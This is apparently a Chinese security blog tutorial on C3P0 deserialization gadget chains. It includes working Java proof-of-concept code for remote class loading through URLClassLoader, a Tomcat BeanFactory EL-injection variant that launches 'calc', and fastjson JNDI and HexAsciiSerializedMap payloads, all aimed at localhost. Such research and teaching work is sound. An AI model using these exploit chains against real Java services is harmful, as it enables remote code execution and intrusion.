Java安全之C3P0反序列化

2023-08-26 15:19:42 浏览数 (2)

简介

C3P0是一个开源的JDBC连接池,它实现了数据源和 JNDI 绑定,具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能,支持 JDBC3 规范和 JDBC2 的标准扩展。 使用它的开源项目有Hibernate、Spring等。例如在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。

测试环境

java version “1.8.0_111”

pom.xml

代码语言:javascript复制
<dependencies>
    <dependency>
        <groupId>com.mchange</groupId>
        <artifactId>c3p0</artifactId>
        <version>0.9.5.2</version>
    </dependency>
</dependencies>

利用链

URLClassLoader利用链

PoolBackedDataSource在序列化时可以序列化入一个任意Reference类,在PoolBackedDataSource反序列化时该Reference类中指定的对象会被URLClassLoader远程加载实例化。

代码语言:javascript复制
* java.lang.Class->forName()
* com.mchange.v2.naming.ReferenceableUtils->referenceToObject()
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

跟进PoolBackedDataSourceBase#readObject()

代码语言:javascript复制
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    short version = ois.readShort();
    switch (version) {
        case 1:
            Object o = ois.readObject();
            if (o instanceof IndirectlySerialized) {
                o = ((IndirectlySerialized)o).getObject();
            }

            this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
            this.dataSourceName = (String)ois.readObject();
            o = ois.readObject();
            if (o instanceof IndirectlySerialized) {
                o = ((IndirectlySerialized)o).getObject();
            }

            this.extensions = (Map)o;
            this.factoryClassLocation = (String)ois.readObject();
            this.identityToken = (String)ois.readObject();
            this.numHelperThreads = ois.readInt();
            this.pcs = new PropertyChangeSupport(this);
            this.vcs = new VetoableChangeSupport(this);
            return;
        default:
            throw new IOException("Unsupported Serialized Version: "   version);
    }
}

首先验证了版本号,然后获取反序列化得到的对象,并判断是否实现了IndirectlySerialized接口,如果实现了该接口就调用对象的getObject方法,查看PoolBackedDataSourceBase#writeObject()

代码语言:javascript复制
private void writeObject(ObjectOutputStream oos) throws IOException {
    oos.writeShort(1);

    ReferenceIndirector indirector;
    try {
        SerializableUtils.toByteArray(this.connectionPoolDataSource);
        oos.writeObject(this.connectionPoolDataSource);
    } catch (NotSerializableException var9) {
        MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);

        try {
            indirector = new ReferenceIndirector();
            oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
        } catch (IOException var7) {
            throw var7;
        } catch (Exception var8) {
            throw new IOException("Problem indirectly serializing connectionPoolDataSource: "   var8.toString());
        }
    }

    oos.writeObject(this.dataSourceName);

    try {
        SerializableUtils.toByteArray(this.extensions);
        oos.writeObject(this.extensions);
    } catch (NotSerializableException var6) {
        MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var6);

        try {
            indirector = new ReferenceIndirector();
            oos.writeObject(indirector.indirectForm(this.extensions));
        } catch (IOException var4) {
            throw var4;
        } catch (Exception var5) {
            throw new IOException("Problem indirectly serializing extensions: "   var5.toString());
        }
    }

    oos.writeObject(this.factoryClassLocation);
    oos.writeObject(this.identityToken);
    oos.writeInt(this.numHelperThreads);
}

可以发现它会尝试将connectionPoolDataSource属性序列化,如果发生错误便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作。跟进indirectForm方法

代码语言:javascript复制
public IndirectlySerialized indirectForm(Object var1) throws Exception {
    Reference var2 = ((Referenceable)var1).getReference();
    return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

此方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将该对象返回,也就是序列化的是ReferenceSerialized对象

而ReferenceSerialized实现了IndirectlySerialized接口,如果ReferenceSerialized被序列化到了序列流中,那么这里调用可以是ReferenceSerialized#getObject

代码语言:javascript复制
public Object getObject() throws ClassNotFoundException, IOException {
try {
    InitialContext var1;
    if (this.env == null) {
        var1 = new InitialContext();
    } else {
        var1 = new InitialContext(this.env);
    }

    Context var2 = null;
    if (this.contextName != null) {
        var2 = (Context)var1.lookup(this.contextName);
    }

    return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
} catch (NamingException var3) {
    if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
        ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
    }

    throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: "   var3.toString());
}

可以发现这里可以调用ReferenceableUtils#referenceToObject()这个静态方法

代码语言:javascript复制
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
    try {
        String var4 = var0.getFactoryClassName();
        String var11 = var0.getFactoryClassLocation();
        ClassLoader var6 = Thread.currentThread().getContextClassLoader();
        if (var6 == null) {
            var6 = ReferenceableUtils.class.getClassLoader();
        }

        Object var7;
        if (var11 == null) {
            var7 = var6;
        } else {
            URL var8 = new URL(var11);
            var7 = new URLClassLoader(new URL[]{var8}, var6);
        }

        Class var12 = Class.forName(var4, true, (ClassLoader)var7);
        ObjectFactory var9 = (ObjectFactory)var12.newInstance();
        return var9.getObjectInstance(var0, var1, var2, var3);
    } catch (Exception var10) {
        if (logger.isLoggable(MLevel.FINE)) {
            logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
        }

        NamingException var5 = new NamingException("Could not resolve Reference to Object!");
        var5.setRootCause(var10);
        throw var5;
    }
}

这里Reference var0在序列化过程中是可控的,那么就可以构造通过URLClassLoader实例化远程类,造成任意代码执行了。不过这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize的值为true,也就是会初始化类,恶意代码写在静态代码块就会自动执行。因此有没有newInstance()这里都能触发漏洞

PoC

代码语言:javascript复制
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;

public class URLClassLoaderTest {
    private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{
        protected String classFactory = null;
        protected String classFactoryLocation = null;
        public ConnectionPool(String classFactory,String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException {return new Reference("ref",classFactory,classFactoryLocation);}
        @Override
        public PooledConnection getPooledConnection() throws SQLException {return null;}
        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}
        @Override
        public PrintWriter getLogWriter() throws SQLException {return null;}
        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {}
        @Override
        public void setLoginTimeout(int seconds) throws SQLException {}
        @Override
        public int getLoginTimeout() throws SQLException {return 0;}
        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}
    }
    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

        ConnectionPool connectionPool = new ConnectionPool("Main","http://127.0.0.1:8000/");
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}
不出网利用

和URLClassLoader利用链的调用链一样,只是最后不通过URLClassLoader加载远程字节码实例化远程类了

代码语言:javascript复制
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
    try {
        String var4 = var0.getFactoryClassName();
        String var11 = var0.getFactoryClassLocation();
        ClassLoader var6 = Thread.currentThread().getContextClassLoader();
        if (var6 == null) {
            var6 = ReferenceableUtils.class.getClassLoader();
        }

        Object var7;
        if (var11 == null) {
            var7 = var6;
        } else {
            URL var8 = new URL(var11);
            var7 = new URLClassLoader(new URL[]{var8}, var6);
        }

        Class var12 = Class.forName(var4, true, (ClassLoader)var7);
        ObjectFactory var9 = (ObjectFactory)var12.newInstance();
        return var9.getObjectInstance(var0, var1, var2, var3);
    } catch (Exception var10) {
        if (logger.isLoggable(MLevel.FINE)) {
            logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
        }

        NamingException var5 = new NamingException("Could not resolve Reference to Object!");
        var5.setRootCause(var10);
        throw var5;
    }
}

可以看到如果String var11 = var0.getFactoryClassLocation();这里返回为null的时候就直接加载本地字节码。

这里就和 JNDI 注入异曲同工了

JNDI注入中,目标代码中调用了InitialContext.lookup(URI),且URI为可控;攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例; 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

如果不使用URLClassLoader加载类的话,就需要加载并实例化本地实现了javax.naming.spi.ObjectFactory 接口的类,并调用getObjectInstance 方法。在 JNDI 注入高版本限制绕过中,也不能加载远程字节码,这里可以利用它的绕过方法进行C3P0链的不出网利用

org.apache.naming.factory.BeanFactory 满足条件并且存在被利用的可能。BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛

代码语言:javascript复制
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
import org.apache.naming.ResourceRef;

public class BeanFactoryTest {
    private static final class ConnectionPool implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public ConnectionPool ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            String cmd = "calc";
            ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"  cmd  "']).start()")"));
            return ref;
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }
    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

        ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null);
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream bais = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}
基于Fastjson进行JNDI注入

触发点在com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()

代码语言:javascript复制
private DataSource dereference() throws SQLException {
    Object jndiName = this.getJndiName();
    Hashtable jndiEnv = this.getJndiEnv();

    try {
        InitialContext ctx;
        if (jndiEnv != null) {
            ctx = new InitialContext(jndiEnv);
        } else {
            ctx = new InitialContext();
        }

        if (jndiName instanceof String) {
            return (DataSource)ctx.lookup((String)jndiName);
        } else if (jndiName instanceof Name) {
            return (DataSource)ctx.lookup((Name)jndiName);
        } else {
            throw new SQLException("Could not find ConnectionPoolDataSource with JNDI name: "   jndiName);
        }
    } catch (NamingException var4) {
        if (logger.isLoggable(MLevel.WARNING)) {
            logger.log(MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", var4);
        }

        throw SqlUtils.toSQLException(var4);
    }
}

com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()调用了 dereference() 方法

代码语言:javascript复制
private synchronized DataSource inner() throws SQLException {
    if (this.cachedInner != null) {
        return this.cachedInner;
    } else {
        DataSource out = this.dereference();
        if (this.isCaching()) {
            this.cachedInner = out;
        }

        return out;
    }
}

而 setLogWriter 和 setLoginTimeout 两个 setter 方法调用了 inner() 方法

代码语言:javascript复制
public void setLogWriter(PrintWriter out) throws SQLException {
    this.inner().setLogWriter(out);
}
// ...
public void setLoginTimeout(int seconds) throws SQLException {
    this.inner().setLoginTimeout(seconds);
}

这就符合了fastjson的利用条件,那么可以用工具起一个LDAP server恶意利用

代码语言:javascript复制
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc", "loginTimeout":0}
基于Fastjson的反序列化

fastjson < 1.2.47

链子开头是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners()这个setter方法

代码语言:javascript复制
private void setUpPropertyListeners() {
    VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
        public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
            String propName = evt.getPropertyName();
            Object val = evt.getNewValue();
            if ("connectionTesterClassName".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
                } catch (Exception var5) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class "   val, var5);
                    }

                    throw new PropertyVetoException("Could not instantiate connection tester class with name '"   val   "'.", evt);
                }
            } else if ("userOverridesAsString".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
                } catch (Exception var6) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. "   val, var6);
                    }

                    throw new PropertyVetoException("Failed to parse stringified userOverrides. "   val, evt);
                }
            }

        }
    };
    this.addVetoableChangeListener(setConnectionTesterListener);
}

这个setter方法里调用了C3P0ImplUtils.parseUserOverridesAsString()方法

代码语言:javascript复制
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
    if (userOverridesAsString != null) {
        String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length()   1, userOverridesAsString.length() - 1);
        byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
        return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
    } else {
        return Collections.EMPTY_MAP;
    }
}

这里用substring()对传入的userOverridesAsString进行字符截取,然后调用fromHexAscii()

代码语言:javascript复制
public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
    Object var1 = deserializeFromByteArray(var0);
    return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
}

// ...

/** @deprecated */
public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
    ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
    return var1.readObject();
}

这里就可以调用反序列化了

代码语言:javascript复制
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:<payload>;"}}";

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

0 人点赞